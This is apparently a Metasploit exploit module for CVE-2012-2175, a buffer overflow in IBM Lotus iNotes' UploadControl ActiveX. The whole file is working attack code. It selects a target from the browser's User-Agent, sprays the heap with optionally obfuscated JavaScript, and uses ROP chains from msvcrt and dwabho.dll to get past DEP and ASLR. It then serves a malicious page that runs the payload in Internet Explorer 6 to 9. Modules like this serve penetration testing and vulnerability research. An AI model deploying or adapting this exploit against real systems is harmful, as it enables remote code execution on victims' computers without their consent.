IBM Lotus iNotes dwa85W ActiveX Buffer Overflow



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn

    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :rank       => Rank,
        :classid    => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",
        :method     => "Attachment_Times"
    })


    def initialize(info={})
        super(update_info(info,
            'Name'           => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",
            'Description'    => %q{
                    This module exploits a buffer overflow vulnerability on the UploadControl
                ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
                property, due to the insecure usage of the _swscanf. The affected ActiveX is
                provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.

                This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
                using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.

                In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
                is installed with the iNotes ActiveX.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Gaurav Baruah', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-2175'],
                    [ 'OSVDB', '82755' ],
                    [ 'BID', '53879' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],
                    [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
                ],
            'Payload'        =>
                {
                    'Space' => 978,
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # dwa85W.dll 85.3.3.0
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
                    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll
                    [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
                    [ 'IE 8 on Windows Vista',  { 'Rop' => :notes,  'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
                    [ 'IE 8 on Windows 7',      { 'Rop' => :notes,  'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
                    [ 'IE 9 on Windows 7',      { 'Rop' => :notes,  'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ]  # pop eax # ret # dwabho.dll
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jun 01 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)

    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

        ie_name = "IE #{ie}"

        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        when '6.0'
            os_name = 'Windows Vista'
        when '6.1'
            os_name = 'Windows 7'
        end

        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end

        return nil
    end

    def ie_heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

        # Land the payload at 0x0c0c0c0c
        case my_target
        when targets[7]
            # IE 9 on Windows 7
            js = %Q|
            function randomblock(blocksize)
            {
                var theblock = "";
                for (var i = 0; i < blocksize; i++)
                {
                    theblock += Math.floor(Math.random()*90)+10;
                }
                return theblock;
            }

            function tounescape(block)
            {
                var blocklen = block.length;
                var unescapestr = "";
                for (var i = 0; i < blocklen-1; i=i+4)
                {
                    unescapestr += "%u" + block.substring(i,i+4);
                }
                return unescapestr;
            }

            var heap_obj = new heapLib.ie(0x10000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_random_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset_length = #{my_target['Offset']};
            for (var i=0; i < 0x1000; i++) {
                var padding = unescape(tounescape(randomblock(0x1000)));
                while (padding.length < 0x1000) padding+= padding;
                var junk_offset = padding.substring(0, offset_length);
                var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
                while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
                sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
                heap_obj.alloc(sprayblock);
            }
            |

        else
            # For IE 6, 7, 8
            js = %Q|
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
            |

        end

        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        return js
    end

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
        else
            print_status("Using dwabho.dll ROP")
            # gadgets from dwabho.dll, using mona.py
            rop_payload = [
                0x1000f765, # POP EAX # RETN
                0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]
                0x10010394, # JMP DWORD PTR DS:[EAX]
                0x0c0c0c2c, # ret after VirtualAlloc
                0x0c0c0c2c, # lpAddress
                0x00000400, # dwSize
                0x00001000, # flAllocationType
                0x00000040 # flProtect
            ].pack("V*")
            rop_payload << code
        end

        return rop_payload
    end

    def load_exploit_html(my_target, cli)
        p  = get_payload(my_target, cli)
        js = ie_heap_spray(my_target, p)

        bof = rand_text_alpha(552) # offset to eip
        bof << [my_target.ret].pack("V")

        case my_target['Rop']
        when :msvcrt
            bof << rand_text_alpha(4)
            bof << [0x0c0c0c0c].pack("V") # new ESP
        when :notes
            bof << rand_text_alpha(4)
            bof << [0x0c0c0c00].pack("V") # eax
            bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
            bof << [0x0c0c0c04].pack("V") # new ESP
        end

        my_bof = Rex::Text.to_unescape(bof)

        html = %Q|
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
            <param name="General_Mode" value="1">
            <param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
        </object>
        <script>
            var bof = unescape("#{my_bof}");
            var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
            my_time += bof;
            my_time += " GMT";
            UploadControl.Attachment_Times = my_time;
        </script>
        </body>
        </html>
        |

        return html
    end

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")

        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end

end